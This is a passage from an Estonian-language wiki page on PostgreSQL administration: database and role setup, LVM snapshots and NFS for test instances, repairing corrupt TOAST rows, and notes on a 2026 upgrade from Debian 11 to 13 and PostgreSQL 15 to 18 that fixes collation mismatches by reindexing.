 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
